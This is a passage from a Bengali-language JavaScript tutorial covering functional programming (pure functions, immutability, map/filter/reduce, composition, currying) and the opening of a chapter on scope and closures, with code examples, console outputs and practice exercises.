
console.log(add(10, 20));
console.log(add(10, 20));
▶ CONSOLE OUTPUTOutput
30
30

একই input:

▶ CONSOLE OUTPUTOutput
10, 20

দিলে সবসময়:

▶ CONSOLE OUTPUTOutput
30

তাই এটি pure function।

25.4 Impure Function

যে function বাইরের state/data পরিবর্তন করে অথবা বাইরের changing value-এর ওপর নির্ভর করে তাকে সাধারণভাবে Impure Function বলা হয়।

JavaScript FPJavaScript
let total = 0;

function addToTotal(value) {
  total += value;
}

addToTotal(100);

console.log(total);
▶ CONSOLE OUTPUTOutput
100

Function-এর ভিতর থেকে বাইরের variable:

JavaScript FPJavaScript
total;

পরিবর্তন হয়েছে। তাই এটি pure function নয়।

25.5 Pure vs Impure
Pure FunctionImpure Function
একই input → একই outputoutput/state পরিবর্তিত হতে পারে
বাইরের data পরিবর্তন করে নাবাইরের data পরিবর্তন করতে পারে
PredictableLess predictable
Testing সহজTesting তুলনামূলক কঠিন
🔹 Pure
JavaScript FPJavaScript
function square(x) {
  return x * x;
}
🔹 Impure
JavaScript FPJavaScript
let count = 0;

function increase() {
  count++;
}
25.6 Real-Life Example

ধরো calculator:

▶ CONSOLE OUTPUTOutput
Input: 10 + 20
Output: 30

Calculator-এর function:

JavaScript FPJavaScript
function add(a, b) {
  return a + b;
}

এটি pure। কিন্তু যদি function:

JavaScript FPJavaScript
function add(a, b) {
  console.log("Calculating...");
  return a + b;
}

তাহলে function একটি side effect করছে—console-এ কিছু লিখছে।

25.7 Side Effect কী?

Function-এর বাইরে কোনো observable পরিবর্তন হলে সেটি Side Effect হতে পারে। উদাহরণ:

JavaScript FPJavaScript
console.log();
JavaScript FPJavaScript
document.body.innerHTML = "Hello";
JavaScript FPJavaScript
localStorage.setItem("name", "Ripon");
JavaScript FPJavaScript
database.save(user);
JavaScript FPJavaScript
fetch("/api/users");

এসব operation সাধারণত side effect তৈরি করে।

25.8 Side Effect Example
JavaScript FPJavaScript
let users = [];

function addUser(user) {
  users.push(user);
}

এখানে:

JavaScript FPJavaScript
users.push(user);

বাইরের users array পরিবর্তন করছে। এটি side effect।

25.9 Pure Version

আমরা নতুন array return করতে পারি:

JavaScript FPJavaScript
let users = [];

function addUser(users, user) {
  return [...users, user];
}

const updatedUsers = addUser(users, "Ripon");

console.log(users);
console.log(updatedUsers);
▶ CONSOLE OUTPUTOutput
[]
["Ripon"]

Original array পরিবর্তন হয়নি। এটাই Functional Programming-এর গুরুত্বপূর্ণ ধারণা।

Part 02 — Immutability, First-Class & Higher-Order Functions (25.10 – 25.16)
25.10 Immutability

Immutability মানে হলো existing data সরাসরি পরিবর্তন না করা। ধরো:

JavaScript FPJavaScript
const user = {
  name: "Ripon",
  age: 23,
};

এখন:

JavaScript FPJavaScript
user.age = 24;

এখানে object-এর existing data পরিবর্তন হয়েছে। Functional style-এ আমরা নতুন object তৈরি করতে পারি।

JavaScript FPJavaScript
const user = {
  name: "Ripon",
  age: 23,
};

const updatedUser = {
  ...user,
  age: 24,
};

console.log(user);
console.log(updatedUser);
▶ CONSOLE OUTPUTOutput
{ name: "Ripon", age: 23 }

{ name: "Ripon", age: 24 }

Original object unchanged।

25.11 Array Immutability

ধরো:

JavaScript FPJavaScript
const numbers = [1, 2, 3];

এভাবে করলে:

JavaScript FPJavaScript
numbers.push(4);

original array পরিবর্তিত হচ্ছে। Functional style:

JavaScript FPJavaScript
const numbers = [1, 2, 3];

const newNumbers = [...numbers, 4];

console.log(numbers);
console.log(newNumbers);
▶ CONSOLE OUTPUTOutput
[1, 2, 3]

[1, 2, 3, 4]
25.12 First-Class Functions

Chapter 6-এ আমরা এটি দেখেছিলাম। JavaScript-এ function হলো First-Class Citizen। অর্থাৎ function:

  • variable-এ রাখা যায়
  • argument হিসেবে পাঠানো যায়
  • return করা যায়
  • object/property হিসেবে রাখা যায়
  • array-এর মধ্যে রাখা যায়
🔹 Example
JavaScript FPJavaScript
function greet() {
  console.log("Hello!");
}

const myFunction = greet;

myFunction();
▶ CONSOLE OUTPUTOutput
Hello!
25.13 Function as a Value
JavaScript FPJavaScript
const add = function (a, b) {
  return a + b;
};

console.log(add(5, 10));

এখানে:

JavaScript FPJavaScript
add;

একটি variable এবং এর value একটি function।

25.14 Function as Argument
JavaScript FPJavaScript
function process(number, operation) {
  return operation(number);
}

function double(x) {
  return x * 2;
}

console.log(process(5, double));
▶ CONSOLE OUTPUTOutput
10

এখানে:

🧭 Functional Architecture
5 ↓ process() ↓ double() ↓ 10
25.15 Higher-Order Function

যে function:

  • অন্য function গ্রহণ করে

অথবা

  • অন্য function return করে

তাকে Higher-Order Function বলে।

🔹 Example
JavaScript FPJavaScript
function calculate(a, b, operation) {
  return operation(a, b);
}

function add(a, b) {
  return a + b;
}

console.log(calculate(10, 20, add));
▶ CONSOLE OUTPUTOutput
30

এখানে:

JavaScript FPJavaScript
calculate();

একটি Higher-Order Function।

25.16 Built-in Higher-Order Functions

JavaScript-এর অনেক array method Higher-Order Function। সবচেয়ে গুরুত্বপূর্ণ:

▶ CONSOLE OUTPUTOutput
map()
filter()
reduce()
forEach()
find()
some()
every()
sort()

এখন এগুলো Functional Programming perspective থেকে দেখি।

Part 03 — Core Array Transformations: map, filter & reduce (25.17 – 25.24)
25.17 map()

map() প্রতিটি element-এর ওপর function চালিয়ে নতুন array তৈরি করে।

JavaScript FPJavaScript
const numbers = [1, 2, 3, 4];

const doubled = numbers.map((number) => number * 2);

console.log(doubled);
▶ CONSOLE OUTPUTOutput
[2, 4, 6, 8]

Original:

▶ CONSOLE OUTPUTOutput
[1, 2, 3, 4]

পরিবর্তিত হয়নি।

25.18 Real-Life map()

ধরো student marks:

JavaScript FPJavaScript
const marks = [50, 60, 70, 80];

const increasedMarks = marks.map((mark) => mark + 5);

console.log(increasedMarks);
▶ CONSOLE OUTPUTOutput
[55, 65, 75, 85]
25.19 filter()

filter() condition অনুযায়ী element নির্বাচন করে নতুন array দেয়।

JavaScript FPJavaScript
const numbers = [10, 15, 20, 25, 30];

const evenNumbers = numbers.filter((number) => number % 2 === 0);

console.log(evenNumbers);
▶ CONSOLE OUTPUTOutput
[10, 20, 30]
25.20 Real-Life filter()
JavaScript FPJavaScript
const students = [
  { name: "A", marks: 85 },
  { name: "B", marks: 45 },
  { name: "C", marks: 75 },
];

const passedStudents = students.filter((student) => student.marks >= 50);

console.log(passedStudents);
▶ CONSOLE OUTPUTOutput
[
    { name: "A", marks: 85 },
    { name: "C", marks: 75 }
]
25.21 reduce()

reduce() multiple valuesকে একটি final value-তে পরিণত করতে পারে।

JavaScript FPJavaScript
const numbers = [10, 20, 30, 40];

const total = numbers.reduce((sum, number) => sum + number, 0);

console.log(total);
▶ CONSOLE OUTPUTOutput
100

Mental model:

🧭 Functional Architecture
0 ↓ 0 + 10 = 10 ↓ 10 + 20 = 30 ↓ 30 + 30 = 60 ↓ 60 + 40 = 100
25.22 map() + filter() + reduce()

Functional JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ patternগুলোর একটি।

JavaScript FPJavaScript
const prices = [100, 200, 300, 400];

const result = prices
  .filter((price) => price >= 200)
  .map((price) => price * 0.9)
  .reduce((total, price) => total + price, 0);

console.log(result);
🔹 Step-by-step

প্রথম:

▶ CONSOLE OUTPUTOutput
[100, 200, 300, 400]

filter():

▶ CONSOLE OUTPUTOutput
[200, 300, 400]

map():

▶ CONSOLE OUTPUTOutput
[180, 270, 360]

reduce():

▶ CONSOLE OUTPUTOutput
810
▶ CONSOLE OUTPUTOutput
810

এটি Functional Programming-এর খুব গুরুত্বপূর্ণ style।

25.23 Declarative Programming

Functional Programming সাধারণত Declarative style ব্যবহার করে।

🔹 Imperative

মানে কীভাবে কাজ করতে হবে সেটা বলে দেওয়া।

JavaScript FPJavaScript
const numbers = [1, 2, 3, 4];
const result = [];

for (let i = 0; i < numbers.length; i++) {
  result.push(numbers[i] * 2);
}

console.log(result);
🔹 Declarative

কী result চাই সেটা প্রকাশ করা:

JavaScript FPJavaScript
const numbers = [1, 2, 3, 4];

const result = numbers.map((number) => number * 2);

console.log(result);

দুটোর output একই:

▶ CONSOLE OUTPUTOutput
[2, 4, 6, 8]
25.24 Imperative vs Declarative
ImperativeDeclarative
কীভাবে করতে হবেকী চাই
বেশি controlবেশি abstraction
loops বেশিmethods বেশি
step-by-steptransformation-focused
Part 04 — Advanced FP: Composition, Pipe, Currying & Closures (25.25 – 25.35)
25.25 Function Composition

একাধিক ছোট function একসাথে ব্যবহার করে বড় কাজ তৈরি করাকে Function Composition বলা হয়। ধরো:

🧭 Functional Architecture
Input ↓ double ↓ add10 ↓ square ↓ Output

Code:

JavaScript FPJavaScript
const double = (x) => x * 2;

const add10 = (x) => x + 10;

const square = (x) => x * x;

const result = square(add10(double(5)));

console.log(result);
🔹 Calculation
▶ CONSOLE OUTPUTOutput
double(5)
= 10

add10(10)
= 20

square(20)
= 400
▶ CONSOLE OUTPUTOutput
400
25.26 নিজের compose() Function

আমরা composition-এর জন্য function তৈরি করতে পারি।

JavaScript FPJavaScript
const compose = (f, g) => (value) => f(g(value));

const double = (x) => x * 2;
const add10 = (x) => x + 10;

const process = compose(add10, double);

console.log(process(5));
▶ CONSOLE OUTPUTOutput
20

কারণ:

🧭 Functional Architecture
5 ↓ double → 10 ↓ add10 → 20
25.27 pipe()

compose() সাধারণত right-to-left কাজ করতে পারে। আর pipe() সাধারণত left-to-right।

JavaScript FPJavaScript
const pipe =
  (...functions) =>
  (value) =>
    functions.reduce((result, fn) => fn(result), value);

এখন:

JavaScript FPJavaScript
const double = (x) => x * 2;
const add10 = (x) => x + 10;
const square = (x) => x * x;

const process = pipe(double, add10, square);

console.log(process(5));
▶ CONSOLE OUTPUTOutput
400

কারণ:

🧭 Functional Architecture
5 ↓ double → 10 ↓ add10 → 20 ↓ square → 400
25.28 Immutability with Objects

ধরো:

JavaScript FPJavaScript
const user = {
  name: "Ripon",
  skills: ["HTML", "CSS"],
};

আমরা সরাসরি:

JavaScript FPJavaScript
user.skills.push("JavaScript");

না করে নতুন object তৈরি করতে পারি:

JavaScript FPJavaScript
const updatedUser = {
  ...user,
  skills: [...user.skills, "JavaScript"],
};

console.log(updatedUser);
▶ CONSOLE OUTPUTOutput
{
    name: "Ripon",
    skills: ["HTML", "CSS", "JavaScript"]
}
25.29 Updating Array Object
JavaScript FPJavaScript
const users = [
  { id: 1, name: "A", active: true },
  { id: 2, name: "B", active: false },
];

User 2-কে active করতে:

JavaScript FPJavaScript
const updatedUsers = users.map((user) =>
  user.id === 2 ? { ...user, active: true } : user,
);

console.log(updatedUsers);
▶ CONSOLE OUTPUTOutput
[
    { id: 1, name: "A", active: true },
    { id: 2, name: "B", active: true }
]

এটি React-এ খুবই গুরুত্বপূর্ণ pattern

25.30 Why React Developers Need This

React state সরাসরি mutate করা উচিত নয়। খারাপ pattern:

JavaScript FPJavaScript
user.name = "New Name";

Better:

JavaScript FPJavaScript
setUser({
  ...user,
  name: "New Name",
});

Array-এর ক্ষেত্রে:

JavaScript FPJavaScript
setUsers(
  users.map((user) => (user.id === 2 ? { ...user, active: true } : user)),
);

এই কারণেই Functional JavaScript ভালোভাবে জানা React-এর জন্য খুব গুরুত্বপূর্ণ।

25.31 Referential Transparency

একটি expression যদি তার result দিয়ে safely replace করা যায় এবং program-এর behavior পরিবর্তন না হয়, তাকে Referential Transparency বলা হয়। ধরো:

JavaScript FPJavaScript
function add(a, b) {
  return a + b;
}

তাহলে:

JavaScript FPJavaScript
add(10, 20);

সবসময়:

▶ CONSOLE OUTPUTOutput
30

তাই:

JavaScript FPJavaScript
const x = add(10, 20);

কে:

JavaScript FPJavaScript
const x = 30;

দিয়ে replace করা যায়।

25.32 Currying

Currying হলো একটি function-এর multiple arguments-কে একসাথে নেওয়ার পরিবর্তে একবারে একটি করে নেওয়া। Normal:

JavaScript FPJavaScript
function add(a, b) {
  return a + b;
}

console.log(add(10, 20));

Curried:

JavaScript FPJavaScript
function add(a) {
  return function (b) {
    return a + b;
  };
}

console.log(add(10)(20));
▶ CONSOLE OUTPUTOutput
30

Arrow version:

JavaScript FPJavaScript
const add = (a) => (b) => a + b;

console.log(add(10)(20));
25.33 Currying Real-Life Example

ধরো tax calculation:

JavaScript FPJavaScript
const addTax = (taxRate) => (price) => price + price * taxRate;

const addVAT = addTax(0.15);

console.log(addVAT(1000));
console.log(addVAT(2000));
▶ CONSOLE OUTPUTOutput
1150
2300

এখানে:

JavaScript FPJavaScript
addTax(0.15);

একটি reusable function তৈরি করেছে।

25.34 Partial Application

Currying-এর সঙ্গে সম্পর্কিত আরেকটি concept হলো Partial Application। ধরো:

JavaScript FPJavaScript
function multiply(a, b, c) {
  return a * b * c;
}

আমরা কিছু argument আগে সেট করতে পারি।

JavaScript FPJavaScript
function multiplyBy(a) {
  return (b, c) => a * b * c;
}

const multiplyBy2 = multiplyBy(2);

console.log(multiplyBy2(3, 4));
▶ CONSOLE OUTPUTOutput
24
25.35 Closure + Functional Programming

Currying এবং functional programming-এ closure অনেক গুরুত্বপূর্ণ।

JavaScript FPJavaScript
function createMultiplier(multiplier) {
  return function (number) {
    return number * multiplier;
  };
}

const double = createMultiplier(2);
const triple = createMultiplier(3);

console.log(double(10));
console.log(triple(10));
▶ CONSOLE OUTPUTOutput
20
30

Inner function multiplier variable-টিকে মনে রাখছে। এটাই closure।

Part 05 — Mutation Prevention, Search Methods & Real Pipelines (25.36 – 25.49)
25.36 Avoiding Mutation

Functional Programming-এর প্রধান শর্ত হলো বিদ্যমান ডেটা সরাসরি পরিবর্তন (mutate) না করা।

❌ ভুল পদ্ধতি: Mutation (Side Effect)❌ Mutation / Impure
const numbers = [1, 2, 3];
numbers.push(4); // ❌ Original array সরাসরি mutate হয়ে গেছে!
সতর্কতা: push() মেথড মূল অ্যারে পরিবর্তন করে ফেলে, যার ফলে অ্যাপ্লিকেশনের স্টেট অপ্রত্যাশিতভাবে বদলে যেতে পারে।

সঠিক সমাধান (Immutable Style): Spread operator (...) ব্যবহার করে নতুন কপি তৈরি করুন।

✅ সঠিক পদ্ধতি: Immutability (Pure Pattern)✅ Pure / Immutable
const numbers = [1, 2, 3];
const newNumbers = [...numbers, 4]; // ✅ মূল array অক্ষত রেখে নতুন array রিটার্ন
25.37 Sorting Without Mutation

একটি বহুল পরিচিত ট্রিকি বিষয় হলো জাভাস্ক্রিপ্টের বিল্ট-ইন sort() মেথড মূল অ্যারে মিউটেট করে।

❌ Mutating Sort: মূল অ্যারে নষ্ট করে❌ Mutation / Impure
const numbers = [3, 1, 2];
const sorted = numbers.sort(); // ❌ মূল numbers অ্যারেও sort হয়ে যাবে!

Functional সমাধান ১: স্প্রেড অপারেটর দিয়ে কপি বানিয়ে সর্ট করা:

✅ Safe Pattern: [...numbers].sort()✅ Pure / Immutable
const numbers = [3, 1, 2];
const sorted = [...numbers].sort((a, b) => a - b); // ✅ Spread কপি করে sort
console.log(numbers); // [3, 1, 2]
console.log(sorted);  // [1, 2, 3]

Functional সমাধান ২ (ES2023+ Standard): আধুনিক toSorted() মেথড ব্যবহার করা:

✅ Modern Pattern: toSorted()✅ Pure / Immutable
// Modern ES2023+ Native Immutable Method:
const sortedNative = numbers.toSorted((a, b) => a - b); // ✅ মূল অ্যারে অক্ষত থাকে
25.38 forEach() vs map()
🔹 forEach()

সাধারণত side effect করার জন্য:

JavaScript FPJavaScript
const numbers = [1, 2, 3];

numbers.forEach((number) => {
  console.log(number);
});
🔹 map()

নতুন transformed array তৈরি করার জন্য:

JavaScript FPJavaScript
const doubled = numbers.map((number) => number * 2);
🔹 মনে রাখবে
🧭 Functional Architecture
forEach → কাজ করো map → নতুন data তৈরি করো
25.39 find()

প্রথম matching element return করে।

JavaScript FPJavaScript
const users = [
  { id: 1, name: "A" },
  { id: 2, name: "B" },
];

const user = users.find((user) => user.id === 2);

console.log(user);
▶ CONSOLE OUTPUTOutput
{ id: 2, name: "B" }
25.40 some()

কমপক্ষে একটি element condition satisfy করলে true

JavaScript FPJavaScript
const marks = [40, 55, 70];

const hasPassed = marks.some((mark) => mark >= 50);

console.log(hasPassed);
▶ CONSOLE OUTPUTOutput
true
25.41 every()

সব element condition satisfy করলে true

JavaScript FPJavaScript
const marks = [60, 70, 80];

const allPassed = marks.every((mark) => mark >= 50);

console.log(allPassed);
▶ CONSOLE OUTPUTOutput
true
25.42 flatMap()

map() করার পরে nested array flatten করার জন্য ব্যবহার করা যায়।

JavaScript FPJavaScript
const students = [
  {
    name: "A",
    skills: ["HTML", "CSS"],
  },
  {
    name: "B",
    skills: ["JS", "React"],
  },
];

const skills = students.flatMap((student) => student.skills);

console.log(skills);
▶ CONSOLE OUTPUTOutput
["HTML", "CSS", "JS", "React"]
25.43 Functional Data Pipeline

এখন একটি realistic example দেখি। ধরো e-commerce products:

JavaScript FPJavaScript
const products = [
  { name: "Laptop", price: 80000, stock: 5 },
  { name: "Mouse", price: 1000, stock: 20 },
  { name: "Keyboard", price: 3000, stock: 0 },
  { name: "Monitor", price: 25000, stock: 8 },
];

আমরা available এবং 5000-এর বেশি price-এর product চাই।

JavaScript FPJavaScript
const result = products
  .filter((product) => product.stock > 0)
  .filter((product) => product.price > 5000)
  .map((product) => ({
    ...product,
    price: product.price * 0.9,
  }));

console.log(result);
▶ CONSOLE OUTPUTOutput
[
    { name: "Laptop", price: 72000, stock: 5 },
    { name: "Monitor", price: 22500, stock: 8 }
]

এখানে:

🧭 Functional Architecture
products ↓ filter stock ↓ filter price ↓ map discount ↓ result

এটাকে Data Transformation Pipeline হিসেবে ভাবতে পারো।

25.44 Functional Programming + API

Backend/API থেকে data আসলে:

JavaScript FPJavaScript
const users = [
  { name: "A", active: true },
  { name: "B", active: false },
  { name: "C", active: true },
];

শুধু active users-এর names:

JavaScript FPJavaScript
const activeNames = users
  .filter((user) => user.active)
  .map((user) => user.name);

console.log(activeNames);
▶ CONSOLE OUTPUTOutput
["A", "C"]

এটি React/Node project-এ প্রতিদিনের মতো ব্যবহার হবে।

25.45 Functional Programming-এর সুবিধা
🔹 1. Code predictable

Pure function-এর behavior সহজে বোঝা যায়।

🔹 2. Testing সহজ
JavaScript FPJavaScript
add(10, 20);

এর expected result:

▶ CONSOLE OUTPUTOutput
30

সহজে test করা যায়।

🔹 3. Reusable

ছোট ছোট function বারবার ব্যবহার করা যায়।

🔹 4. Maintainable

বড় code ছোট function-এ ভাগ করা যায়।

🔹 5. Debugging সহজ

Pipeline-এর প্রতিটি step আলাদা করে পরীক্ষা করা যায়।

🔹 6. React-এর জন্য গুরুত্বপূর্ণ

State transformation-এ immutable patterns খুব গুরুত্বপূর্ণ।

25.46 Functional Programming-এর অসুবিধা

সবসময় functional style ব্যবহার করাই সঠিক নয়। কিছু ক্ষেত্রে:

  • বেশি function তৈরি হতে পারে
  • অতিরিক্ত abstraction code কঠিন করতে পারে
  • নতুনদের কাছে chaining confusing হতে পারে
  • performance-sensitive জায়গায় unnecessary transformation হতে পারে

তাই লক্ষ্য হবে: > Functional style যেখানে code পরিষ্কার ও predictable হয়, সেখানে ব্যবহার করা।

25.47 Real Project Example — Student Result
JavaScript FPJavaScript
const students = [
  { name: "Rahim", marks: 80 },
  { name: "Karim", marks: 45 },
  { name: "Nadia", marks: 90 },
  { name: "Sadia", marks: 35 },
];

Passed students:

JavaScript FPJavaScript
const passedStudents = students
  .filter((student) => student.marks >= 40)
  .map((student) => ({
    ...student,
    status: "Passed",
  }));

console.log(passedStudents);
▶ CONSOLE OUTPUTOutput
[
    { name: "Rahim", marks: 80, status: "Passed" },
    { name: "Karim", marks: 45, status: "Passed" },
    { name: "Nadia", marks: 90, status: "Passed" }
]
25.48 Result Calculation with reduce()
JavaScript FPJavaScript
const students = [
  { name: "Rahim", marks: 80 },
  { name: "Karim", marks: 45 },
  { name: "Nadia", marks: 90 },
];

const totalMarks = students.reduce(
  (total, student) => total + student.marks,
  0,
);

const average = totalMarks / students.length;

console.log("Total:", totalMarks);
console.log("Average:", average);
▶ CONSOLE OUTPUTOutput
Total: 215
Average: 71.66666666666667
25.49 Functional Programming Mental Model

এই flow-টা মনে রাখো:

🧭 Functional Architecture
DATA ↓ filter() ↓ map() ↓ reduce() ↓ RESULT

Example:

JavaScript FPJavaScript
const result = products
  .filter((product) => product.stock > 0)
  .map((product) => product.price)
  .reduce((total, price) => total + price, 0);

অর্থাৎ:

🧭 Functional Architecture
Products ↓ Available products ↓ Only prices ↓ Total price
Part 06 — FP Mastery: Must Know, Quick Cheat Sheet, Practice Lab & Mental Map
25.50 🔥 Must Know

Chapter 25 থেকে অবশ্যই জানতে হবে:

🔹 Basic
  • Functional Programming
  • Pure Function
  • Impure Function
  • Side Effect
  • Immutability
  • First-Class Function
  • Higher-Order Function
  • Declarative Programming
🔹 Array Functional Methods
  • map()
  • filter()
  • reduce()
  • find()
  • some()
  • every()
  • flatMap()
🔹 Advanced
  • Function Composition
  • pipe()
  • Currying
  • Partial Application
  • Closure + Functional Programming
  • Referential Transparency
  • Immutable object update
  • Immutable array update
  • Data transformation pipeline
25.Quick 🧠 Quick Cheat Sheet — Functional JavaScript Reference

Functional JavaScript এবং ডেটা রূপান্তরের দ্রুত রেফারেন্সের জন্য সম্পূর্ণ সিনট্যাক্স টেবিল:

ConceptMeaning
Pure FunctionSame input → same output
Impure FunctionExternal state/side effect থাকতে পারে
Side EffectFunction-এর বাইরে observable change
ImmutabilityExisting data সরাসরি পরিবর্তন না করা
First-Class FunctionFunction-কে value হিসেবে ব্যবহার করা
Higher-Order FunctionFunction নেয়/return করে
map()Data transform
filter()Data select
reduce()Multiple values → one value
find()First matching item
some()অন্তত একটি match
every()সব match
CompositionMultiple functions combine
CurryingArguments একবারে একটি করে নেওয়া
Declarativeকী চাই সেটা বলা
25.Lab 📝 Hands-On Practice Lab — 5 Real-World Functional Challenges

Functional Programming-এর কনসেপ্টগুলোকে আত্মস্থ করার জন্য নিচে বাস্তবভিত্তিক ৫টি চ্যালেঞ্জের সম্পূর্ণ প্রোডাকশন সলিউশন দেওয়া হলো:

Practice 1: Double with map() — Immutable Numeric Transformation

Problem Requirement: numbers = [2, 4, 6, 8] অ্যারে থেকে map() ব্যবহার করে প্রতিটি সংখ্যাকে দ্বিগুণ করে [4, 8, 12, 16] নতুন অ্যারে তৈরি করুন।

Practice 1 Model Solution✅ Pure / Immutable
const numbers = [2, 4, 6, 8];

// Pure transformation using map()
const doubled = numbers.map(num => num * 2);

console.log("Original:", numbers);
console.log("Doubled:", doubled);
▶ CONSOLE OUTPUTOutput
Original: [2, 4, 6, 8]
Doubled: [4, 8, 12, 16]
Practice 2: Filter Condition — Selecting Elements >= 20

Problem Requirement: numbers = [10, 15, 20, 25, 30, 35] থেকে filter() ব্যবহার করে শুধুমাত্র ২০ বা তার বেশি সংখ্যাগুলো ফিল্টার করে বের করুন।

Practice 2 Model Solution✅ Pure / Immutable
const numbers = [10, 15, 20, 25, 30, 35];

// Declarative filtering with pure predicate
const filtered = numbers.filter(num => num >= 20);

console.log("Result:", filtered);
▶ CONSOLE OUTPUTOutput
Result: [20, 25, 30, 35]
Practice 3: Reduce Accumulation — Calculating Array Total

Problem Requirement: numbers = [10, 20, 30, 40] থেকে reduce() ব্যবহার করে মোট যোগফল 100 বের করুন।

Practice 3 Model Solution✅ Pure / Immutable
const numbers = [10, 20, 30, 40];

// Sum accumulation with initial value 0
const total = numbers.reduce((accumulator, current) => accumulator + current, 0);

console.log("Total Sum:", total);
▶ CONSOLE OUTPUTOutput
Total Sum: 100
Practice 4: Passed Students Filter — Object Array Query

Problem Requirement: শিক্ষার্থীদের তালিকা থেকে filter() ব্যবহার করে শুধুমাত্র পাস করা শিক্ষার্থীদের (marks >= 40) আলাদা করুন।

Practice 4 Model Solution✅ Pure / Immutable
const students = [
  { name: "A", marks: 80 },
  { name: "B", marks: 35 },
  { name: "C", marks: 70 },
  { name: "D", marks: 45 },
];

const passedStudents = students.filter(student => student.marks >= 40);

console.log("Passed Students:", passedStudents);
▶ CONSOLE OUTPUTOutput
Passed Students: [
  { name: 'A', marks: 80 },
  { name: 'C', marks: 70 },
  { name: 'D', marks: 45 }
]
Practice 5: Functional Pipeline — filter() + map() + reduce() Chain

Problem Requirement: পণ্য তালিকা থেকে: ১. স্টকে থাকা পণ্য নির্বাচন করুন (stock > 0), ২. তাদের মূল্য বের করুন, এবং ৩. মোট স্টক পণ্যের মূল্য বের করতে মেথড চেইনিং পাইপলাইন তৈরি করুন।

Practice 5 Model Solution✅ Pure / Immutable
const products = [
  { name: "Laptop", price: 80000, stock: 5 },
  { name: "Mouse", price: 1000, stock: 0 },
  { name: "Monitor", price: 20000, stock: 3 },
];

// Clean functional data pipeline
const totalInStockPrice = products
  .filter(item => item.stock > 0)
  .map(item => item.price * item.stock)
  .reduce((sum, currentVal) => sum + currentVal, 0);

console.log("Total In-Stock Value: ৳", totalInStockPrice);
▶ CONSOLE OUTPUTOutput
Total In-Stock Value: ৳ 460000
25.Map 🎯 Final Mental Map & Functional Ecosystem

JavaScript Functional Programming-এর সামগ্রিক আর্কিটেকচার এবং মেথড প্রবাহের চূড়ান্ত চিত্র:

🧭 Functional JavaScript Master Architecture Tree
Functional JavaScript │ ┌───────────────┼────────────────┐ ↓ ↓ ↓ Pure Immutable First-Class Functions Data Functions │ │ │ ↓ ↓ ↓ Predictable No Mutation Function as Value │ │ │ └───────────────┼────────────────┘ ↓ Higher-Order Functions │ ┌───────────┼───────────┐ ↓ ↓ ↓ map() filter() reduce() │ │ │ └───────────┼───────────┘ ↓ Data Transformation │ ↓ Function Composition │ ┌──────────┴──────────┐ ↓ ↓ compose() pipe() │ │ └──────────┬──────────┘ ↓ Advanced FP │ ┌──────────┼──────────┐ ↓ ↓ ↓ Currying Closures Partial Application
⭐ এক নজরে Chapter 25 এর সারসংক্ষেপ
Key Takeaway: Functional JavaScript হলো ডেটাকে ছোট, রিইউজেবল ও প্রেডিক্টেবল ফাংশনের পাইপলাইনে রূপান্তর করার শিল্প—যেখানে Pure Functions, Immutability এবং map/filter/reduce-এর মতো হায়ার-অর্ডার ফাংশনগুলো কোডকে বাগ-মুক্ত, টেস্টেবল এবং সহজে মেইনটেনেবল করে তোলে।
Chapter 26
↑ Index
Closures, IIFE & Currying — ক্লোজার্স, আইআইএফই ও কারিং
Total Modules
59 Modules + Practice Lab
Curriculum Part
Part 20 — Advanced Functions & Closures
Core Mechanics
Closures, Lexical Scope, IIFE & Currying
Reference Standard
ECMAScript 2026 / Modern V8 Internals
🎯 Advanced Functions — Closure থেকে Advanced Function Patterns

Chapter 6-এ আমরা Function-এর basic concept এবং Chapter 25-এ Functional JavaScript শিখেছি। এখন সেই foundation-এর ওপর দাঁড়িয়ে JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ advanced function concepts—Scope Chain, Closures, IIFE, Currying, Function Composition, Pipelines, Memoization এবং Throttling/Debouncing—নিখুঁতভাবে শিখব।

📌 1. Scope Recap
📌 2. Lexical Scope
📌 3. Scope Chain
📌 4. Closure Mechanics
📌 5. Private Variables
📌 6. Data Encapsulation
📌 7. Factory Functions
📌 8. IIFE Patterns
📌 9. Private State (IIFE)
📌 10. Returning Functions
📌 11. Currying (N-ary)
📌 12. Partial Application
📌 13. compose() Pipeline
📌 14. pipe() Flow
📌 15. Memoization Cache
📌 16. Function Decorators
📌 17. Execution Timing
📌 18. Debounce Logic
📌 19. Throttle Interval
📌 20. Loop Binding (let/var)
📌 21. Memory Management
📌 22. Permission Factory
📌 23. ID Generator
📌 24. Mini Project (Counter)
Part 01 — Scope, Lexical Environment & Scope Chain (26.1 – 26.3)
26.1 Scope কী?

Scope হলো কোনো variable কোথা থেকে access করা যাবে তার সীমা। JavaScript-এ প্রধানত:

🧭 Architecture / Concept Flow
Global Scope
Function Scope
Block Scope
Module Scope

Example:

JavaScript SourceJavaScript
let name = "Ripon";

function greet() {
    console.log(name);
}

greet();
▶ CONSOLE OUTPUTOutput
Ripon

কারণ greet() function তার বাইরের scope-এর name access করতে পারছে।

26.2 Lexical Scope

JavaScript-এ function যেখানে লেখা হয়েছে, সেই জায়গার scope-এর ওপর তার access নির্ভর করে। এটাকে বলা হয়: > Lexical Scope Example:

JavaScript SourceJavaScript
const name = "Ripon";

function outer() {

    function inner() {
        console.log(name);
    }

    inner();
}

outer();
▶ CONSOLE OUTPUTOutput
Ripon

inner() তার parent scope এবং তার বাইরের scope থেকে variable খুঁজে নেয়।

26.3 Scope Chain

যখন JavaScript কোনো variable খুঁজে, তখন সাধারণত:

🧭 Architecture / Concept Flow
Current Scope
      ↓
Parent Scope
      ↓
Grandparent Scope
      ↓
Global Scope

এভাবে খুঁজতে থাকে। Example:

JavaScript SourceJavaScript
const a = 10;

function outer() {
    const b = 20;

    function inner() {
        const c = 30;

        console.log(a);
        console.log(b);
        console.log(c);
    }

    inner();
}

outer();
▶ CONSOLE OUTPUTOutput
10
20
30
Part 02 — Closures, Private State, Factories & Loop Bindings (26.4 – 26.19)
26.4 Closure কী?

এখন আসি এই chapter-এর সবচেয়ে গুরুত্বপূর্ণ concept-এ। > Closure হলো এমন একটি function, যা তার lexical scope-এর variable-গুলোকে মনে রাখতে পারে, এমনকি outer function execution শেষ হয়ে যাওয়ার পরেও। সহজভাবে:

🧭 Architecture / Concept Flow
Outer Function
      ↓
Inner Function
      ↓
Inner function remembers outer variables
26.5 প্রথম Closure Example
JavaScript SourceJavaScript
function outer() {

    let message = "Hello";

    function inner() {
        console.log(message);
    }

    return inner;
}

const greet = outer();

greet();
▶ CONSOLE OUTPUTOutput
Hello

এখানে:

JavaScript SourceJavaScript
outer();

শেষ হয়ে গেছে। তারপরও:

JavaScript SourceJavaScript
greet();

message access করতে পারছে। এটাই Closure।

26.6 কীভাবে কাজ করছে?

